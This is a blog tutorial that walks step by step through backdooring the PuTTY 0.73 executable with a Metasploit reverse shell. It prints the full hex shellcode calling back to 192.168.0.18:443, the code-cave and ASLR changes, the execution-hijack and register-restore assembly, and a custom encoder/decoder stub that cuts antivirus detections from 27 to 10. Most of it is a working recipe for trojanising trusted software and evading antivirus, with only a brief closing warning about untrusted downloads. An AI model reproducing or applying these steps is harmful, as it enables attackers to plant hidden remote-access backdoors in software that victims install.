The Internet is a dangerous place. It contains billions of points that can be accessed using an ever-increasingly range of devices. Endpoint protections are improving over time, but there is always a new technique that overcomes them.
Antivirus software is a clear example of an endpoint protection method that’s constantly improving, trying to overcome its limitations.
Most antivirus offerings use signatures to detect malware. A signature is nothing but a sequence of bytes.
As an example, I extracted the today’s Clamav AV signatures, picked a random entry:
And put it on a file called
00000000 51 50 e8 aa f3 49 28 54 0b ed 2e fd 2a 2b 6f 21 |QP...I(T....*+o!| 00000010 10 3a 2f c2 b9 49 4f 0b 24 0d 79 59 45 da 69 87 |.:/..IO.$.yYE.i.| 00000020 20 a5 bc 44 4f bc b7 25 04 8b 77 8c 21 2c f1 6b | ..DO..%..w.!,.k| 00000030 30 05 45 4e 54 b5 86 53 61 9c dd ee a8 99 dd f0 |0.ENT..Sa.......|
Check it using VirusTotal:
$ msf-virustotal -f virus | grep ClamAV ClamAV true 0.102.3.0 Win.Trojan.SubSeven-2 20200624
And it’s detected as an expected virus.
But then I changed a single byte: The last
f0 for an
00000000 51 50 e8 aa f3 49 28 54 0b ed 2e fd 2a 2b 6f 21 |QP...I(T....*+o!| 00000010 10 3a 2f c2 b9 49 4f 0b 24 0d 79 59 45 da 69 87 |.:/..IO.$.yYE.i.| 00000020 20 a5 bc 44 4f bc b7 25 04 8b 77 8c 21 2c f1 6b | ..DO..%..w.!,.k| 00000030 30 05 45 4e 54 b5 86 53 61 9c dd ee a8 99 dd fa |0.ENT..Sa.......|
And check it again:
$ msf-virustotal -f virus | grep ClamAV ClamAV false 0.102.3.0 20200624
The check failed! Antiviruses based on signatures are easily fooled.
In this post, we will be able to backdoor the latest available version of PuTTY (0.73 to the date of this writing) with a reverse shell. We will also try to evade today’s modern antiviruses, which are not only based on signatures but also on behavior.
The following are the steps that we will take to convert the original
putty.exe to its backdoored version:
Find space to include our shellcode.
Check the current
putty.exePE properties and modify them as needed.
Add a shellcode.
Redirect the execution flow of the application to our code.
Restore execution flow.
Encode shellcode to avoid antivirus detection.
If we are going to inject new code into a file, we must find a memory block with the required space to manipulate without modifying the normal flow of the application.
These "blank" spaces are known as code caves and are present on
almost any executable file. They are composed commonly of
There are several tools that help us finding code caves. The tool I
prefer is Cminer. Let’s run it
putty.exe file, and tell it that looks for code caves of 500
bytes or more:
$ ./Cminer /mnt/hgfs/Desktop-Host/osce/putty/putty-orig.exe 500 ... [*] Minimum cave size set to 500 [*] Extracting file header data... /mnt/hgfs/Desktop-Host/osce/putty/putty-orig.exe Magic 010b (PE32) [*] Image Base: 00400000 [*] Start Address: 0x0046fe96 [*] Parsing file sections... [>] .reloc (0x509000/0x51011c) [>] .rsrc (0x4bd000/0x508030) [>] .gfids (0x4bc000/0x4bc0b4) [>] .00cfg (0x4bb000/0x4bb004) [>] .data (0x4b6000/0x4b6a00) [>] .rdata (0x48f000/0x4b5cac) [>] .text (0x401000/0x48e65e) [*] Section parsing complete. [*] Loading PE file... [*] File Size: 1096080 [*] Starting cave mining process... [+] New cave detected ! [+] New cave detected ! [+] New cave detected ! [+] New cave detected ! [*] Mining finished. [+] 4 Caves found. [#] Cave 1 [*] Section: .rsrc [*] Cave Size: 4027 byte. [*] Start Address: 0x4c2660 [*] End Address: 0x4c361b [*] File Ofset: 0xbae60 [#] Cave 2 [*] Section: .rsrc [*] Cave Size: 4009 byte. [*] Start Address: 0x4c15b1 [*] End Address: 0x4c255a [*] File Ofset: 0xb9db1 [#] Cave 3 [*] Section: .rsrc [*] Cave Size: 1737 byte. [*] Start Address: 0x4c0e76 [*] End Address: 0x4c153f [*] File Ofset: 0xb9676 [#] Cave 4 [*] Section: .00cfg [*] Cave Size: 509 byte. [*] Start Address: 0x4bb003 [*] End Address: 0x4bb200 [*] File Ofset: 0xb5403
We will use the last one for this example, which contains 509 bytes.
Getting executable characteristics
The code cave we chose is located in the
.00cfg PE section.
Sections are the way the different regions of the virtual memory of a PE file are distributed. There are several predefined sections, and each of them has specific purposes, mostly determined by the characteristics than for the section name itself. In fact, the name can be anything, and the PE header will have pointers to them.
There is a section called
.text, which is commonly used to store the
executable code of the file. As that section is meant to be executable,
its characteristics are commonly
READ | EXEC.
Likewise, there are other sections that hold initialized data and global
.bss whose contents are only meant to be
READ | WRITE, and not executed.
The section on which our code cave is located is
.00cfg, which is a
non-standard section. We can check its current characteristics using
many tools. I will use PE Tools:
As we can see, that section has currently only permissions to be read.
However, as we need to execute code there that will self-decode, we must
putty.exe is a standalone executable. We may expect that the
virtual address space of an executable file at rest is the same as when
it’s launched and a process instance is created. However, every time we
putty.exe on a debugger, the address space changes on memory.
This is because of something called Address Space Layout
Randomization or ASLR. This is protection added to executable
files to make it hard for attackers to exploit
overflows using absolute addresses.
It can be pretty annoying during a backdooring session, but it can be disabled while we finish and can be enabled at the end. Let’s do that:
As you can see, I used CFF explorer
to change the
DLL Characteristics of the
putty.exe file and disabled
DLL can move option, which is the indicator of the presence of
We must remember to be careful to use relative calculations and avoid
absolute addresses, or
ASLR will take its toll at the end.
With that in place, we can start the backdooring process.
A needed parenthesis
Before going into inserting new bytes into our file, we must check two things: Whether the file is still working as originally expected and if it’s flagged as malicious.
The first check is easy:
It’s still working.
The result of the second check is something expected:
$ msf-virustotal -f /mnt/hgfs/Desktop-Host/osce/putty/putty.exe ... [*] Analysis Report: putty.exe (14 / 74): b28ceceac0b0564110d70eac176e151e616a744c6289ff5c86f2484fa987aca5
This tells us that 14 out of 74 antiviruses flag this new file as malicious.
In contrast, the original file was only flagged by 4:
$ msf-virustotal -f /mnt/hgfs/Desktop-Host/osce/putty/putty-orig.exe ... [*] Analysis Report: putty-orig.exe (4 / 73): 736330aaa3a4683d3cc866153510763351a60062a236d22b12f4fe0f10853582
We must keep those values in mind to have something to compare our final file with.
Let’s resume our process!
Making up the code cave
Before injecting a shellcode, we need to locate the code cave on our
Cminer showed that it started at
0x4bb003, and as we disabled
ASLR, we should be able to locate it at that exact address. I will use
x64dbg a modern open-source debugger for Windows:
Great, as you can see, our code cave it’s a region full of
It’s a good idea to change those
0x00 to something that doesn’t block
the execution flow, like
0x90). To do that, we need to select
the addresses we want to modify, then right-click on the
Binary and finally
Fill with NOPs.
With that, we have an empty canvas to work on.
It is also a good idea to save every progress of the backdooring in a
separate new file, so we can go back if anything’s not working. To do
that, we can issue
Ctrl+P that will show the actual current changes
we’ve made and save the "patches" to a new file.
With that in place, we can start injecting instructions into our code cave. The first thing we must do is save the current value of the CPU registers and flags, so we can restore the normal flow of the application after executing our shellcode. If we don’t do that, the application will have unexpected behavior, and the backdooring will be detected!
The instructions for saving the CPU registers and flags are:
pushad ; Push general purpose registers to the stack pushfd ; Push EFLAGS to the stack
At the end of our code cave, we should have to restore that information from the stack. We will see that later.
We are now ready to inject the shellcode.
As you probably know, a shellcode is a piece of carefully arranged bytes that can execute anything, commonly a shell.
In our example, we will create a shellcode that connects back from the victim to the attacker machine and serves a reverse shell.
To do that, we will use
$ msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=192.168.0.18 LPORT=443 EXITFUNC=none -f hex No encoder specified, outputting raw payload Payload size: 324 bytes Final size of hex file: 648 bytes fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf 0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631 ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0 894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b8 9001000029c454506829806b00ffd5505050504050405068ea0fdfe0ffd5976a0568c0a8001268 020001bb89e66a1056576899a57461ffd585c0740cff4e0875ec68f0b5a256ffd568636d640089 e357575731f66a125956e2fd66c744243c01018d442410c60044545056565646564e5656535668 79cc3f86ffd589e04e5646ff306808871d60ffd5bbaac5e25d68a695bd9dffd53c067c0a80fbe0 7505bb4713726f6a0053ffd5
Notice that I chose
LPORT=443 instead of the default
4444. This will
hopefully help to disguise this reverse shell a little.
We can now insert those bytes on our code cave.
Here we can see the addresses on where the
004BB004 | 60 | pushad | 004BB005 | 9C | pushfd |
To make some room for any needed encoder/decoder, I will use the address
004BB060 as the place where the shellcode will be placed. To inject
the shellcode, we must select the output of
then on the debugger select an address region large enough to fit our
shellcode, then right-click, select
Binary and then
Great! We can now save the changes to a new file
Diverting execution flow
Now that we have our shellcode in place, we need to change the execution
putty.exe to point to our code cave. You can choose at what
part of the execution you want to have the shellcode triggered. Some may
want it to happen at the very start, overwriting the entry point. In
this example, we will trigger it when the user connects to a server and
login as: text appears:
Using our debugger, we need to find on where the
login as: string is
We had two locations, and we need to know which of them is the one we need, so we had to put breakpoints and check:
We got a hit!
As you can see, we hit just before a
call. I mentioned before that we
need to use relative calculations to overcome
ASLR limitations. That’s
why we will divert the execution after the
Now, copy some instructions to a text file, starting at
we can later restore the execution to this point:
Having done that, we need to make a jump to the first instruction of our
code cave. That instruction is
pushad located at
004BB004. Let’s do
Now I will save the modifications to
Remember that we need to restore the execution flow after our shellcode. Let’s do that.
Restore execution flow
To completely restore the execution of
PuTTY, we need to do several
Get the value of
ESPafter the execution of the
Get the value of
ESPafter the shellcode is completely executed.
Get the offset using
ESP1 - ESP2 = offset.
ESPwith the resulting offset.
Pop back the CPU registers and flags using
Restore instructions overwritten by the
jmpto the code cave.
Jump to the next instruction after that jump.
Get ESP before shellcode
We can do that easily by putting a breakpoint after the
calls and taking note of
The ESP value is
Get ESP after shellcode
This can be obtained after the shellcode is executed. Remember to open a listener in the attacker machine:
Great! We got the shell, and the
ESP value is
the breakpoint was reached only after exiting the shell. We will
need to modify the shellcode later.
Get the offset
This one is easy:
0019FE30 - 0019FC30 = 0x200.
Align ESP + Restore registers and flags
Now we need to point
ESP to the value after
pushad/pushfd. We also
need to restore the registers and flags. This can be done easily with:
add esp,0x200 popfd popad
We can now add that to our file:
Restore instructions + Jump to normal flow
If you remember, the original point from where we diverted the execution was:
0042D6F7 | 83C4 04 | add esp,4 | 0042D6FA | 31C9 | xor ecx,ecx | 0042D6FC | 41 | inc ecx | 0042D6FD | 51 | push ecx | 0042D6FE | 50 | push eax | eax:"SSH login name" 0042D6FF | FF73 78 | push dword ptr ds:[ebx+78] |
And the resulting instructions when we added the jump to our code cave were:
0042D6F7 | E9 08D90800 | jmp putty-03.4BB004 | 0042D6FC | 41 | inc ecx | 0042D6FD | 51 | push ecx | 0042D6FE | 50 | push eax | 0042D6FF | FF73 78 | push dword ptr ds:[ebx+78] |
That means that we overwrote two instructions:
add esp,4 and
xor ecx,ecx, and they need to be restored. We also see that the next
instruction in the normal execution flow is located at
to finish our restoration, we need to add this:
add esp,0x4 xor ecx,ecx jmp 0x0042D6FC
We can now save the changes to a new file
At this point, we should be able to launch
PuTTY, get a shell, and
resume normal execution:
However, as you can see, the execution is only resumed when the shell exits.
That behavior is caused by the way the reverse shell was implemented on
Metasploit. It uses a call to
WaitForSingleObject that instructs the
parent process to wait infinitely until the shell process is done. This
makes the shellcode more reliable, but for our purpose, we need a
WaitForSingleObject function signature is:
Taken from https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-waitforsingleobject.
DWORD WaitForSingleObject( HANDLE hHandle, DWORD dwMilliseconds );
Our reverse shell sets the value of
dwMilliseconds parameter to
which makes it wait forever for the process to finish. That value is set
at this position on the shellcode:
004BB179 | 4E | dec esi |
We just need to change it to a
NOP and we should be ready:
Let’s run our saved
Mission accomplished! We’ve got now a fully functional, yet backdoored
Encoding our shellcode
Let’s see how we are doing with antivirus detection:
$ msf-virustotal -f /mnt/hgfs/Desktop-Host/osce/putty/putty-05.exe [*] Analysis Report: putty-05.exe (27 / 71): 919677186373a27cd4de5a2f21fa854784c330abf67bc4abbc893a0a594d1d28
Not so great. To improve that metric, we will need to encode our shellcode using a self-made encoder.
A common method is to use the
XOR instruction on every byte, but an
average antivirus nowadays will be able to revert it easily. We are
going to try something more.
The mutations we perform over the code must be reversible, so for the sake of this example, I will use this encoder strategy:
XORbyte with key
Bit-wise negate byte.
Rotate left 8 bits.
xor byte [eax],0xd add byte [eax],0x2 not byte [eax] rol byte [eax],0x8
And the decoder should be the instructions in reverse order:
Rotate right 8 bits.
Bit-wise negate byte.
XORbyte with key
ror byte [eax],0x8 not byte [eax] sub byte [eax],0x2 xor byte [eax],0xd
The encoder should be used only once, to mutate the file. Then, when the encoded shellcode is in place, the decoder should be finally inserted so it can self-decode on memory every time it’s launched.
The full stub we are going to insert is:
mov eax,<address where shellcode starts> ; Make EAX a pointer to our shellcode loop: ; Loop starts here <encoder or decoder> ; The encoder or decoder instructions inc eax ; Points EAX to the next byte of the shellcode cmp eax,<address where shellcode ends> ; Compare if EAX is pointing to the end of the shellcode jne loop ; If not, jump to the loop until we reach the end
Let’s encode the shellcode first:
Save that changes to a file called
Now, we can watch the process of encoding in real-time:
Wonderful. Now, select those modified bytes, then right-click, then
Copy. Restart the debugging session with
go to that address region again and hit
Shift+V to binary paste.
We are now ready to patch the file to a new one called
All that’s left is to replace the encoder with the decoder on our
And save the patches in a file called
If everything comes as expected,
putty-final.exe will run, decode
itself in memory, send us a reverse shell and resume normal execution.
Yes! Scary, huh?
Now, let’s see how our manually encoded
PuTTY is tagged in VirusTotal:
$ msf-virustotal -f /mnt/hgfs/Desktop-Host/osce/putty/putty-final.exe .... [*] Analysis Report: putty-final.exe (10 / 72): 6b96ec9906e87bbed37570a83f9c1fcad0dd7a03ff705b1c23dc4f7f425c53ab
Awesome! We were able to lower the ratio of antivirus tagging from 27 to 10!
The Internet is full of dangers. We hope this article has shown you the risks of running software obtained from untrusted sources.
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